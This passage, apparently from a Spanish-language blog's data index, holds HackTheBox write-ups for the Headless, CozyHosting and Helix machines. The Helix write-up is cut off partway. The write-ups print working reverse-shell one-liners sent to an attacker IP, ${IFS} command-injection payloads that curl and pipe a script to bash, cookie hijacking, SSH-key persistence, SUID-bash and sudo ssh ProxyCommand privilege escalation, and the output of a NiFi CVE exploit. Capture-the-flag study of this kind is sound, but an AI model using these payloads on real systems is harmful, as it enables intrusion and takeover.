directamente.\n1 date=$(rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2\u0026gt;%261|nc+10.10.16.82+4444+\u0026gt;/tmp/f) Y si miramos el listener, ya estamos dentro.\n1 2 3 4 5 6 7 8 9 $ penelope -i 10.10.16.82 [+] Listening for reverse shells on 10.10.16.82:4444 ➤ 🏠 Main Menu (m) 💀 Payloads (p) 🔄 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C) [+] Got reverse shell from headless~10.129.8.232-Linux-x86_64 😍️ Assigned SessionID \u0026lt;1\u0026gt; [+] Attempting to upgrade shell to PTY... [+] Shell upgraded successfully using /usr/bin/python3! 💪 [+] Interacting with session [1], Shell Type: PTY, Menu key: F12 ─────────────────────────────────────────────── dvir@headless:~/app$ Privesc # Nada más entrar, vemos que somos dvir y que hemos aparecido en /app. Si miramos en /home nos encontramos con nuestro directorio personal.\nConsiguiendo persistencia # Antes de continuar, lo ideal sería crear un par de claves ssh para mantener persistencia y no tener que depender de que el worker de Werkzeug mate nuestro shell en cualquier momento.\n1 2 3 4 5 $ ssh-keygen -t rsa Generating public/private rsa key pair. Enter file in which to save the key (/home/kali/.ssh/id_rsa): ./dvir Enter passphrase for \u0026#34;./dvir\u0026#34; (empty for no passphrase): ... Copiamos la clave a authorized_keys en el .ssh de dvir, y nos conectamos por ssh.\n1 2 3 4 $ ssh dvir@10.129.8.232 -i dvir Linux headless 6.1.0-18-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.76-1 (2024-02-01) x86_64 dvir@headless:~$ echo \u0026#34;Ahora podemos cortar el reverse shell\u0026#34; Privilegios sudo # Si miramos qué permisos como sudo tenemos, encontramos esto.\n1 2 3 4 5 6 dvir@headless:~$ sudo -l Matching Defaults entries for dvir on headless: env_reset, mail_badpass, secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin, use_pty User dvir may run the following commands on headless: (ALL) NOPASSWD: /usr/bin/syscheck Dicho comando es el siguiente:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 #!/bin/bash if [ \u0026#34;$EUID\u0026#34; -ne 0 ]; then exit 1 fi last_modified_time=$(/usr/bin/find /boot -name \u0026#39;vmlinuz*\u0026#39; -exec stat -c %Y {} + | /usr/bin/sort -n | /usr/bin/tail -n 1) formatted_time=$(/usr/bin/date -d \u0026#34;@$last_modified_time\u0026#34; +\u0026#34;%d/%m/%Y %H:%M\u0026#34;) /usr/bin/echo \u0026#34;Last Kernel Modification Time: $formatted_time\u0026#34; disk_space=$(/usr/bin/df -h / | /usr/bin/awk \u0026#39;NR==2 {print $4}\u0026#39;) /usr/bin/echo \u0026#34;Available disk space: $disk_space\u0026#34; load_average=$(/usr/bin/uptime | /usr/bin/awk -F\u0026#39;load average:\u0026#39; \u0026#39;{print $2}\u0026#39;) /usr/bin/echo \u0026#34;System load average: $load_average\u0026#34; if ! /usr/bin/pgrep -x \u0026#34;initdb.sh\u0026#34; \u0026amp;\u0026gt;/dev/null; then /usr/bin/echo \u0026#34;Database service is not running. Starting it...\u0026#34; ./initdb.sh 2\u0026gt;/dev/null else /usr/bin/echo \u0026#34;Database service is running.\u0026#34; fi exit 0 Si nos fijamos, una vez se ha dado valores a last_modified_time, dist_space y load_average, se comprueba si la base de datos está activa o no, y si no lo está, se ejecuta ./initdb.sh desde la ubicación en la que está el usuario.\nEsto significa que podemos crear un initdb.sh arbitrario, como este.\n1 2 3 #!/bin/bash cp /bin/bash /tmp/rootbash chmod 4755 /tmp/rootbash Y ahora hacer:\n1 2 3 4 5 6 7 8 9 dvir@headless:/tmp$ chmod +x initdb.sh dvir@headless:/tmp$ sudo /usr/bin/syscheck Last Kernel Modification Time: 01/02/2024 10:05 Available disk space: 1.9G System load average: 0.13, 0.06, 0.01 Database service is not running. Starting it... dvir@headless:/tmp$ ls rootbash -al -rwsr-xr-x 1 root root 1265648 Jun 3 16:23 rootbash Finalmente, lo ejecutamos.\n1 2 3 dvir@headless:/tmp$ ./rootbash -p rootbash-5.2# whoami root Y tenemos root.\n","date":"3 de junio de 2026","externalUrl":null,"permalink":"/writeups/headless/","section":"Writeups","summary":"OS: Linux | Dificultad: Easy | Conceptos: XSS por User-Agent, robo de cookies, Command Injection, Escalada de privilegios por script con sudo","title":"HackTheBox - Headless","type":"writeups"},{"content":"","date":"3 de junio de 2026","externalUrl":null,"permalink":"/tags/sudo/","section":"Tags","summary":"","title":"Sudo","type":"tags"},{"content":"","date":"3 de junio de 2026","externalUrl":null,"permalink":"/tags/web/","section":"Tags","summary":"","title":"Web","type":"tags"},{"content":"","date":"3 de junio de 2026","externalUrl":null,"permalink":"/tags/werkzeug/","section":"Tags","summary":"","title":"Werkzeug","type":"tags"},{"content":"","date":"3 de junio de 2026","externalUrl":null,"permalink":"/tags/actuator/","section":"Tags","summary":"","title":"Actuator","type":"tags"},{"content":"","date":"3 de junio de 2026","externalUrl":null,"permalink":"/tags/gtfobins/","section":"Tags","summary":"","title":"GTFOBins","type":"tags"},{"content":" Dificultad: easy Tiempo aprox. 6h Datos Iniciales: 10.129.8.147 Enumeración # Hacemos un escaneo de puertos, encontramos lo siguiente:\n1 2 3 4 5 6 7 8 9 10 11 12 13 $ sudo nmap -sT -Pn -p- 10.129.8.147 # Encuentra 22,80 $ sudo nmap -sT -Pn -p22,80 -sVC 10.129.8.147 # Indica Did not follow redirect to http://cozyhosting.htb, lo añadimos a /etc/hosts $ sudo nmap -sT -Pn -p22,80 -sVC cozyhosting.htb PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 43:56:bc:a7:f2:ec:46:dd:c1:0f:83:30:4c:2c:aa:a8 (ECDSA) |_ 256 6f:7a:6c:3f:a6:8d:e2:75:95:d4:7b:71:ac:4f:7e:42 (ED25519) 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-title: Cozy Hosting - Home |_http-server-header: nginx/1.18.0 (Ubuntu) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel 22/tcp (OpenSSH 8.9p1): Algunas vulnerabilidades pero no relevantes 80/tcp (nginx 1.18.0): También tiene vulnerabilidades, tampoco son relevantes. Como nmap ha indicado que nginx distingue entre dominios (por el \u0026ldquo;Did not follow redirect to\u0026hellip;\u0026rdquo;), enumeramos subdominios, pero, pasado un rato, vemos que no hay ninguno. Dicho esto, vamos a la página principal.\nPuerto 80, HTTP # Al entrar, encontramos la página de presentación de un servicio que ofrece hostear proyectos.\nDe entre todos los botones, el único que hace algo es Login, y lleva hacia el endpoint /login. Al entrar, encontramos un panel de inicio de sesión.\nSegún se indica, la página está hecha con BootstrapMade, pero esto es solo el frontend, así que no vale de mucho.\nEnumeración # Si enumeramos directorios, encontramos lo siguiente:\n1 2 3 4 5 6 7 8 $ ffuf -u http://cozyhosting.htb/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -ic ... index [Status: 200, Size: 12706, Words: 4263, Lines: 285, Duration: 56ms] login [Status: 200, Size: 4431, Words: 1718, Lines: 97, Duration: 53ms] admin [Status: 401, Size: 97, Words: 1, Lines: 1, Duration: 42ms] logout [Status: 204, Size: 0, Words: 1, Lines: 1, Duration: 46ms] error [Status: 500, Size: 73, Words: 1, Lines: 1, Duration: 48ms] A admin no podemos acceder, index es la página principal, logout nos lleva ahí, y para login no conocemos credenciales, solo queda error.\nSi entramos a /error: Si buscamos más acerca de la info que da el error, encontramos esto:\nA Whitelabel Error Page is a default error page displayed by Spring Boot applications when an exception occurs that hasn\u0026rsquo;t been handled.\nY sobre Spring Boot:\nSpring Boot is an open-source Java framework used for programming standalone, production-grade Spring-based applications with a bundle of libraries that make project startup and management easier.\nSpring Boot # Si buscamos acerca de los endpoints de Spring Boot, encontramos que hay algunos como /actuator/health. En lugar de ir directamente ahí, voy a /actuator sin más. Encuentro esto.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 $ curl http://cozyhosting.htb/actuator -s | jq { \u0026#34;_links\u0026#34;: { \u0026#34;self\u0026#34;: { \u0026#34;href\u0026#34;: \u0026#34;http://localhost:8080/actuator\u0026#34;, \u0026#34;templated\u0026#34;: false }, \u0026#34;sessions\u0026#34;: { \u0026#34;href\u0026#34;: \u0026#34;http://localhost:8080/actuator/sessions\u0026#34;, \u0026#34;templated\u0026#34;: false }, \u0026#34;beans\u0026#34;: { \u0026#34;href\u0026#34;: \u0026#34;http://localhost:8080/actuator/beans\u0026#34;, \u0026#34;templated\u0026#34;: false }, \u0026#34;health-path\u0026#34;: { \u0026#34;href\u0026#34;: \u0026#34;http://localhost:8080/actuator/health/{*path}\u0026#34;, \u0026#34;templated\u0026#34;: true }, \u0026#34;health\u0026#34;: { \u0026#34;href\u0026#34;: \u0026#34;http://localhost:8080/actuator/health\u0026#34;, \u0026#34;templated\u0026#34;: false }, \u0026#34;env\u0026#34;: { \u0026#34;href\u0026#34;: \u0026#34;http://localhost:8080/actuator/env\u0026#34;, \u0026#34;templated\u0026#34;: false }, \u0026#34;env-toMatch\u0026#34;: { \u0026#34;href\u0026#34;: \u0026#34;http://localhost:8080/actuator/env/{toMatch}\u0026#34;, \u0026#34;templated\u0026#34;: true }, \u0026#34;mappings\u0026#34;: { \u0026#34;href\u0026#34;: \u0026#34;http://localhost:8080/actuator/mappings\u0026#34;, \u0026#34;templated\u0026#34;: false } } } Voy solicitando a cada uno de los endpoints:\n1 2 # http://cozyhosting.htb/actuator/sessions 1FA960AA8E015F986F16C074CDC7B4F7:\t\u0026#34;kanderson\u0026#34; 1 2 # http://cozyhosting.htb/actuator/beans Mucha información sobre toda la estructura del servidor 1 2 # http://cozyhosting.htb/actuator/health UP 1 2 # http://cozyhosting.htb/actuator/env Variables de entorno, la mayoría censuradas 1 2 # http://cozyhosting.htb/actuator/mappings UP sessions nos ha dado lo que parece un usuario junto a una cookie o ID. En beans aparece repetidamente jar:file:/app/cloudhosting-0.0.1.jar como un archivo interno del servidor, que quizás sea interesante luego, pero de momento no nos ha dado mucho, no se menciona ninguna versión. También aparece el nombre de Tomcat, que posiblemente esté ejecutando la página que vemos.\nPara probar con lo que ponía en sessions, vamos a Devtools -\u0026gt; Storage -\u0026gt; Cookies y cambiamos el valor actual de JSESSIONID por el de kanderson.\nAhora recargamos la página:\nAbajo vemos que se indica: \u0026ldquo;For Cozy Scanner to connect the private key that you received upon registration should be included in your host\u0026rsquo;s .ssh/authorized_keys file.\u0026rdquo;.\nSi el propio servidor tiene añadida a authorized_keys la clave pública que corresponde al par que supuestamente se entregó al usuario al registrarse, entonces podremos conectarnos por ssh.\nPonemos Hostname:cozyhosting.htb, Username:kanderson para probar: cozyhosting.htb es un dominio válido para el servidor (porque si no diría que no se ha podido resolver), pero la clave privada no es de kanderson.\nSi probamos con hostnames localhost o 127.0.0.1, también pone lo mismo. Si cambiamos a, por ejemplo, la IP de nuestra máquina (10.10.16.82) da timeout. Si cambiamos el nombre de usuario por otros, como root, sigue fallando.\nCommand injection # Pasado un rato, pruebo a ver qué está mandando BurpSuite, y, por curiosidad, a dejar algún campo en blanco, como username:\nA la derecha vemos que en la respuesta se ve el error que da ssh cuando no le proporcionas argumentos, lo que significa que tenemos una posible inyección de comandos.\nPor ejemplo, mandamos lo siguiente:\n1 2 3 4 host=localhost\u0026amp;username=test;curl 10.10.16.82:8000/test# # Para que quede algo como: # $ ssh test;curl 10.10.16.82:8000/test#@localhost ... Pero se nos indica: \u0026ldquo;Username can\u0026rsquo;t contain whitespaces!\u0026rdquo;\nPero podemos sustituir los espacios con ${IFS}, una variable especial de bash que representa un espacio, un tabulador y un salto de línea, lo podemos usar como espacio y funcionará.\nSi hacemos esto:\n1 host=localhost\u0026amp;username=test;curl${IFS}10.10.16.82:8000/endpoint# Desde nuestra máquina:\n1 2 3 4 $ python3 -m http.server Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ... 10.129.8.147 - - [02/Jun/2026 14:19:31] code 404, message File not found 10.129.8.147 - - [02/Jun/2026 14:19:31] \u0026#34;GET /endpoint HTTP/1.1\u0026#34; 404 - Así que ahora creamos un reverse shell:\n1 2 3 4 5 $ echo \u0026#39;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2\u0026gt;\u0026amp;1|nc 10.10.16.82 4444 \u0026gt;/tmp/f\u0026#39; | sed \u0026#39;s/ /${IFS}/g\u0026#39; rm${IFS}/tmp/f;mkfifo${IFS}/tmp/f;cat${IFS}/tmp/f|/bin/sh${IFS}-i${IFS}2\u0026gt;\u0026amp;1|nc${IFS}10.10.16.82${IFS}4444${IFS}\u0026gt;/tmp/f # Lo unimos con localhost;...# localhost;rm${IFS}/tmp/f;mkfifo${IFS}/tmp/f;cat${IFS}/tmp/f|/bin/sh${IFS}-i${IFS}2\u0026gt;\u0026amp;1|nc${IFS}10.10.16.82${IFS}4444${IFS}\u0026gt;/tmp/f# Y lo mandamos, pero no funciona:\n1 2 3 4 $ penelope -i 10.10.16.82 [+] Listening for reverse shells on 10.10.16.82:4444 ➤ 🏠 Main Menu (m) 💀 Payloads (p) 🔄 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C) [-] Invalid shell from 10.129.8.147 🙄 Esto posiblemente pasa porque el worker del servidor web mata rápidamente a cualquier proceso hijo una vez considera que debería haber acabado de procesarse la respuesta (es decir, al llegar a un timeout).\nAsí que para solucionar eso, podemos crear un par de claves SSH y subirlas. Primero necesitamos saber como quién se ejecuta el comando. Podemos hacer algo así, y lo recibiremos en la solicitud:\n1 2 #username localhost;curl${IFS}10.10.16.82:8000/$(whoami)# 1 2 3 4 $ python3 -m http.server Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ... 10.129.8.147 - - [02/Jun/2026 14:29:42] code 404, message File not found 10.129.8.147 - - [02/Jun/2026 14:29:42] \u0026#34;GET /app HTTP/1.1\u0026#34; 404 - Y el usuario es app. Como parece una cuenta de servicio, por si acaso compruebo que tenga un directorio $HOME:\n1 localhost;curl${IFS}10.10.16.82:8000/$(echo${IFS}$HOME)# Y llega:\n1 2 10.129.8.147 - - [02/Jun/2026 14:34:03] code 404, message File not found 10.129.8.147 - - [02/Jun/2026 14:34:03] \u0026#34;GET //home/app HTTP/1.1\u0026#34; 404 - Así que la cuenta parece normal. Podemos crear el directorio .ssh por si acaso, y luego meter la clave pública que creemos en authorized_keys.\nProblema, mandamos este:\n1 localhost;curl${IFS}10.10.16.82:8000/$(mkdir${IFS}-p${IFS}~/.ssh)# Y nos llega: \u0026ldquo;cannot access \u0026lsquo;/home/app\u0026rsquo;: No such file or directory\u0026rdquo;, así que crear una clave no nos sirve.\nComo no podemos usar SSH ni una reverse shell directamente, podemos intentar usar otros métodos que activen la reverse shell más tarde y de forma independiente al worker del Web Server, para que nuestro shell no muera cuando este lo haga.\nY para evitar tener que codificar todo correctamente y molestarnos de más, lo mejor es dejarlo simple. Al servidor solo mandaremos esto:\n1 host=127.0.0.1\u0026amp;username=localhost;curl${IFS}10.10.16.82:8000/cosa.sh|nohup${IFS}/bin/bash;# Nota: Punto y coma antes de # En Bash, para que un # sea interpretado como el inicio de un comentario, tiene que estar al principio de una palabra, es decir, precedido por un espacio, un salto de línea o un operador de control.\nEn este caso, la idea es usar ;# para decirle a bash que el comando ha terminado (;), y que detecte todo lo demás a partir del # como un comentario. Si no se añade el punto y coma, Bash interpretará esto como un solo comando bash#cosacomentada:\nMAL: curl install.org|bash#cosacomentada\nBIEN: curl install.org|bash;#cosacomentada\nEsto significa que es bastante probable que otros payloads que también probé al hacer esta máquina sí funcionasen si se añadiese un ; entre el comando final y el #. Es algo de lo que no me dí cuenta hasta el final, pero que era bastante importante para que funcionase cualquier payload.\nY nosotros, hosteado en cosa.sh, tendremos lo siguiente:\n1 rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2\u0026gt;\u0026amp;1|nc 10.10.16.82 4444 \u0026gt;/tmp/f Lo mandamos, y en el listener:\n1 2 3 4 5 6 7 8 ➤ 🏠 Main Menu (m) 💀 Payloads (p) 🔄 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C) [+] Got reverse shell from cozyhosting~10.129.8.147-Linux-x86_64 😍️ Assigned SessionID \u0026lt;1\u0026gt; [+] Attempting to upgrade shell to PTY... [+] Shell upgraded successfully using /usr/bin/python3! 💪 [+] Interacting with session [1], Shell Type: PTY, Menu key: F12 [+] Logging to /home/kali/.penelope/sessions/cozyhosting~10.129.8.147-Linux-x86_64/2026_06_02-17_54_10-445.log 📜 ───────────────────────── app@cozyhosting:/app$ Movimiento lateral hacia josh # Miramos usuarios con shell interactivo para saber hacia qué dirección ir.\n1 2 3 4 5 6 7 8 9 app@cozyhosting:/app$ cat /etc/passwd | grep -v false | grep -v nologin root:x:0:0:root:/root:/bin/bash sync:x:4:65534:sync:/bin:/bin/sync app:x:1001:1001::/home/app:/bin/sh postgres:x:114:120:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash josh:x:1003:1003::/home/josh:/usr/bin/bash app@cozyhosting:/app$ ls /home josh Vemos que posiblemente josh sea nuestro próximo objetivo.\nArchivo .jar # Nada más entrar, nos encontramos lo siguiente:\n1 2 app@cozyhosting:/app$ ls cloudhosting-0.0.1.jar Si lo pasamos a nuestra máquina y lo descomprimimos, luego podemos ir a BOOT-INF/classes/application-properties, que contiene datos normalmente importantes:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 $ jar xf cloudhosting-0.0.1.jar $ cat BOOT-INF/classes/application.properties server.address=127.0.0.1 server.servlet.session.timeout=5m management.endpoints.web.exposure.include=health,beans,env,sessions,mappings management.endpoint.sessions.enabled = true spring.datasource.driver-class-name=org.postgresql.Driver spring.jpa.database-platform=org.hibernate.dialect.PostgreSQLDialect spring.jpa.hibernate.ddl-auto=none spring.jpa.database=POSTGRESQL spring.datasource.platform=postgres spring.datasource.url=jdbc:postgresql://localhost:5432/cozyhosting spring.datasource.username=postgres spring.datasource.password=Vg\u0026amp;nvzAQ7XxR Aquí tenemos unas credenciales de PostgreSQL, servicio que podemos comprobar que está activo:\n1 2 3 4 app@cozyhosting:/app$ netstat -tunlp | grep 5432 (Not all processes could be identified, non-owned process info will not be shown, you would have to be root to see it all.) tcp 0 0 127.0.0.1:5432 0.0.0.0:* LISTEN - PostgreSQL # Nos conectamos a la DB con psql y entramos a cozyhosting:\n1 2 3 4 5 6 7 8 9 10 11 app@cozyhosting:/tmp$ psql --username=postgres --password --host=localhost Password: psql (14.9 (Ubuntu 14.9-0ubuntu0.22.04.1)) SSL connection (protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, bits: 256, compression: off) Type \u0026#34;help\u0026#34; for help. cozyhosting=# \\c cozyhosting Password: SSL connection (protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, bits: 256, compression: off) You are now connected to database \u0026#34;cozyhosting\u0026#34; as user \u0026#34;postgres\u0026#34;. cozyhosting=# Ahora revisamos las tablas y sacamos los hashes:\n1 2 3 4 5 6 7 8 9 10 11 12 13 cozyhosting=# \\d hosts Table \u0026#34;public.hosts\u0026#34; Column | Type | Collation | Nullable | Default ----------+------------------------+-----------+----------+----------------------------------- id | integer | | not null | nextval(\u0026#39;hosts_id_seq\u0026#39;::regclass) username | character varying(50) | | not null | hostname | character varying(255) | | not null | cozyhosting=# SELECT * FROM users; name | password | role -----------+--------------------------------------------------------------+------- kanderson | $2a$10$E/Vcd9ecflmPudWeLSEIv.cvK6QjxjWlWXpij1NVNV3Mm6eH58zim | User admin | $2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm | Admin Si los metemos a john:\n1 2 3 4 5 6 7 $ john hashes --wordlist=/usr/share/wordlists/rockyou.txt Using default input encoding: UTF-8 Loaded 2 password hashes with 2 different salts (bcrypt [Blowfish 32/64 X3]) Cost 1 (iteration count) is 1024 for all loaded hashes Will run 8 OpenMP threads Press \u0026#39;q\u0026#39; or Ctrl-C to abort, almost any other key for status manchesterunited (?) Tenemos la contraseña manchesterunited, y si probamos a iniciar sesión como josh:\n1 2 3 app@cozyhosting:/tmp$ su josh Password: #manchesterunited josh@cozyhosting:/tmp$ Privesc hacia root # Miramos privilegios sudo:\n1 2 3 4 5 6 7 josh@cozyhosting:~$ sudo -l [sudo] password for josh: Matching Defaults entries for josh on localhost: env_reset, mail_badpass, secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin\\:/snap/bin, use_pty User josh may run the following commands on localhost: (root) /usr/bin/ssh * Si buscamos en GTFOBins, encontraremos varios payload. Podemos usar uno de ellos (ProxyCommand):\n1 2 3 josh@cozyhosting:~$ sudo /usr/bin/ssh -o ProxyCommand=\u0026#39;;/bin/sh 0\u0026lt;\u0026amp;2 1\u0026gt;\u0026amp;2\u0026#39; x # whoami root E inmediatamente tenemos root.\n","date":"3 de junio de 2026","externalUrl":null,"permalink":"/writeups/cozyhosting/","section":"Writeups","summary":"OS: Linux | Dificultad: Easy | Conceptos: Spring Boot Actuator, Session Hijacking (JSESSIONID), Command Injection HTTP/SSH, extracción de credenciales en JAR, PostgreSQL, reutilización de credenciales, privilegios sudo en SSH","title":"HackTheBox - CozyHosting","type":"writeups"},{"content":"","date":"3 de junio de 2026","externalUrl":null,"permalink":"/tags/postgresql/","section":"Tags","summary":"","title":"PostgreSQL","type":"tags"},{"content":"","date":"3 de junio de 2026","externalUrl":null,"permalink":"/tags/session-hijacking/","section":"Tags","summary":"","title":"Session Hijacking","type":"tags"},{"content":"","date":"3 de junio de 2026","externalUrl":null,"permalink":"/tags/spring-boot/","section":"Tags","summary":"","title":"Spring Boot","type":"tags"},{"content":"","date":"3 de junio de 2026","externalUrl":null,"permalink":"/tags/ssh/","section":"Tags","summary":"","title":"SSH","type":"tags"},{"content":"","date":"3 de junio de 2026","externalUrl":null,"permalink":"/tags/sudo-misconfiguration/","section":"Tags","summary":"","title":"Sudo Misconfiguration","type":"tags"},{"content":" Dificultad: medium Tiempo aprox. 9h (por pasarme 3 sin ver la clave privada de operator) Datos Iniciales: 10.129.7.166 Enumeración # Hacemos un escaneo de puertos, encontramos lo siguiente:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 $ sudo nmap -sT -Pn -p- 10.129.7.166 # Indica puertos 22,80 $ sudo nmap -sT -Pn -p22,80 10.129.7.166 -sVC # Indica Did not follow redirect to http://helix.htb/. Lo añadimos a /etc/hosts $ sudo nmap -sT -Pn -p22,80 helix.htb -sVC PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.15 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 60:b3:f7:6c:0b:92:ab:00:ac:e7:12:e1:d1:26:9c:1e (ECDSA) |_ 256 c8:30:e6:cb:c6:cd:fc:0c:39:e5:34:04:20:07:b9:b3 (ED25519) 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-title: Helix Industries | Industrial Automation \u0026amp; Critical Infrastruc... |_http-server-header: nginx/1.18.0 (Ubuntu) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel # Nada importante en UDP Además, como se nos ha indicado que Nginx sirve páginas distintas en función del dominio solicitado, probamos a enumerar subdominios.\n1 2 3 4 5 6 $ gobuster vhost --url http://helix.htb -w /usr/share/wordlists/seclists/Discovery/DNS/n0kovo_subdomains.txt -ad =============================================================== Gobuster v3.8.2 by OJ Reeves (@TheColonial) \u0026amp; Christian Mehlmauer (@firefart) =============================================================== flow.helix.htb Status: 200 [Size: 1068] Y apuntamos y añadimos a /etc/hosts el subdominio flow.helix.htb.\nHTTP # Dominio Principal # Al entrar, encontramos una página que ofrece tecnologías e infraestructuras para sistemas industriales.\nDe entre todos los botones, el único que hace algo diferente es START A PROJECT.\nSi le damos, se muestra una ventana en la que tenemos que introducir un resumen del proyecto, y luego pulsar SEND BRIEF para enviarlo. Si analizamos qué pasa al hacer esto en BurpSuite, vemos que no se manda nada, ni una solicitud http, así que hay que no hay mucho más que podamos hacer.\nSubdominio flow # Al entrar a flow.helix.htb se nos redirige a /nifi. Al parecer, es un panel que permite crear un flujo de trabajo personalizado.\nSi pulsamos el botón superior derecho (3 rayas), y pulsamos en About, veremos lo siguiente:\nApache NiFi is a framework to support highly scalable and flexible dataflows. It can be run on laptops up through clusters of enterprise class servers. Instead of dictating a particular dataflow or behavior it empowers you to design your own optimal dataflow tailored to your specific environment.\nLa versión en uso es la 1.21.0, y si la buscamos:\nCVE-2023-34468: RCE via DB. CVSS: 8.8 HIGH También encontramos un exploit para esta vulnerabilidad, aunque puede hacerse manualmente configurando drivers y nodos en la web.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 $ python3 CVE-2023-34468_poc.py --target flow.helix.htb --lhost 10.10.16.82 --lport 4444 --http-port 80 --cleanup [*] Target: http://flow.helix.htb | LHOST: 10.10.16.82:4444 | HTTP: 80 [*] HTTP server up on :80 [*] Checking access... [+] Identity: anonymous | Anonymous: True | canWrite: True [+] Target is exploitable [*] Getting root process group ID... [+] PG ID: f203bc07-019b-1000-516b-eaedd48609d1 [*] Creating DBCPConnectionPool... [+] CS ID: 832758cb-019e-1000-42e9-524253fba4fd [*] Enabling controller service... [+] Controller service enabled [*] Creating ExecuteSQL processor... [+] Processor ID: 83276287-019e-1000-783d-293addfabf57 [*] Starting processor... [+] Processor running — waiting for shell on port 4444... [+] rce.sql delivered to target Y desde el listener:\n1 2 3 4 5 6 7 8 9 10 $ penelope -i 10.10.16.82 [+] Listening for reverse shells on 10.10.16.82:4444 ➤ 🏠 Main Menu (m) 💀 Payloads (p) 🔄 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C) [+] Got reverse shell from helix~10.129.7.166-Linux-x86_64 😍️ Assigned SessionID \u0026lt;1\u0026gt; [+] Attempting to upgrade shell to PTY... [+] Shell upgraded successfully using /usr/bin/python3! 💪 [+] Interacting with session [1], Shell Type: PTY, Menu key: F12 [+] Logging to /home/kali/.penelope/sessions/helix~10.129.7.166-Linux-x86_64/2026_06_01-08_27_41-461.log 📜 ──────────────────────────────────────────────────────────────────────────────────────────── nifi@helix:/opt/nifi-1.21.0$ Privesc # Aparecemos en el directorio /opt/nifi-1.21.0 como nifi. Si miramos qué otros usuarios hay en el sistema, veremos que el único otro con shell y que no es root es operator.\nContraseña cifrada # El flujo de trabajo ya tenía configurada una base de datos, y para conectarse a esa base de datos haría falta una contraseña, o al menos para tener una cuenta en Nifi. Tal contraseña debería estar almacenada en algún sitio en los archivos de configuración.\nSi buscamos en Google dónde puede estar, vemos que es posible que esté en conf/flow.json.gz (o flow.xml.gz).\nSi descomprimimos flow.json.gz y echamos un vistazo, encontramos lo siguiente:\n1 2 3 4 5 nifi@helix:/tmp/test$ cat flow.json {\u0026#34;encodingVersion\u0026#34;:{\u0026#34;majorVersion\u0026#34;:2,\u0026#34;minorVersion\u0026#34;:0},\u0026#34;maxTimerDrivenTh... ...[SNIP]... \u0026#34;Password\u0026#34;:\u0026#34;enc{4483432ee0de187bdd9ec7deb7312fc37561b1a251c1ddfdbf56b90874bc5fbdead30dc0abef9a2957e177e26556a61d26b0}\u0026#34;} ...[SNIP]... Tenemos una contraseña cifrada de 100 caracteres. El problema es que no es ningún hash estándar, tenemos que encontrar cómo cifra Nifi las contraseñas.\nSi miramos en conf/nifi.properties:\n1 2 3 4 5 $ cat nifi.properties | grep nifi.sensitive nifi.sensitive.props.key=TUHh+YHA30zmdlcA8xq/elNBLPkO03Nl nifi.sensitive.props.key.protected= nifi.sensitive.props.algorithm=NIFI_PBKDF2_AES_GCM_256 nifi.sensitive.props.additional.keys= Al parecer se usa el cifrado simétrico NIFI_PBKDF2_AES_GCM_256. Tras una búsqueda, veo que con la clave nifi.sensitive.props.key es posible descifrar la contraseña.\nUn script (encrypt-config.sh) que proporciona el código fuente de Nifi permite descifrar y cifrar de nuevo a partir de los archivos bootstrap.conf y flow.xml.gz y de la contraseña. El script está disponible en el toolkit de la versión 1.21.0. El problema es que este script no muestra la contraseña descifrada, pero podemos usar un script que sigue el mismo proceso.\nPrimero hay que derivar la clave PBKDF2, para ello se usa HMAC-SHA-512, se aplican 160.000 iteraciones y se usa un salt hardcodeado de Nifi: NiFi Static Salt.\nLuego, NiFi genera un nonce de 16 bytes y cifra la contraseña en texto plano usando AES-GCM con la clave derivada anterior y el nonce.\nY para acabar, se calcula un tag de integridad de otros 16 bytes. Finalmente, se concatena todo de la siguiente manera:\n1 enc{nonce_16_bytes + texto_cifrado_hex (long_variable) + tag_integridad_16_bytes} Si usamos un script que deshaga esto:\n1 2 $ python3 decrypt.py contraseña descifrada: R7qZ9L3xKM2W8pFYcA Y tenemos la contraseña R7qZ9L3xKM2W8pFYcA, aunque si la probamos con cualquier usuario (operator, root o nifi) veremos que no funciona. De todas formas, puede servirnos más adelante.\nPuertos en local # Si miramos puertos en escucha:\n1 2 3 4 5 6 nifi@helix:/tmp$ ss -tunlp | grep 127.0.0.1 tcp LISTEN 0 100 127.0.0.1:4840 0.0.0.0:* tcp LISTEN 0 50 127.0.0.1:38733 0.0.0.0:* users:((\u0026#34;java\u0026#34;,pid=1090,fd=79)) tcp LISTEN 0 50 127.0.0.1:8080 0.0.0.0:* users:((\u0026#34;java\u0026#34;,pid=1090,fd=41)) tcp LISTEN 0 128 127.0.0.1:8081 0.0.0.0:* 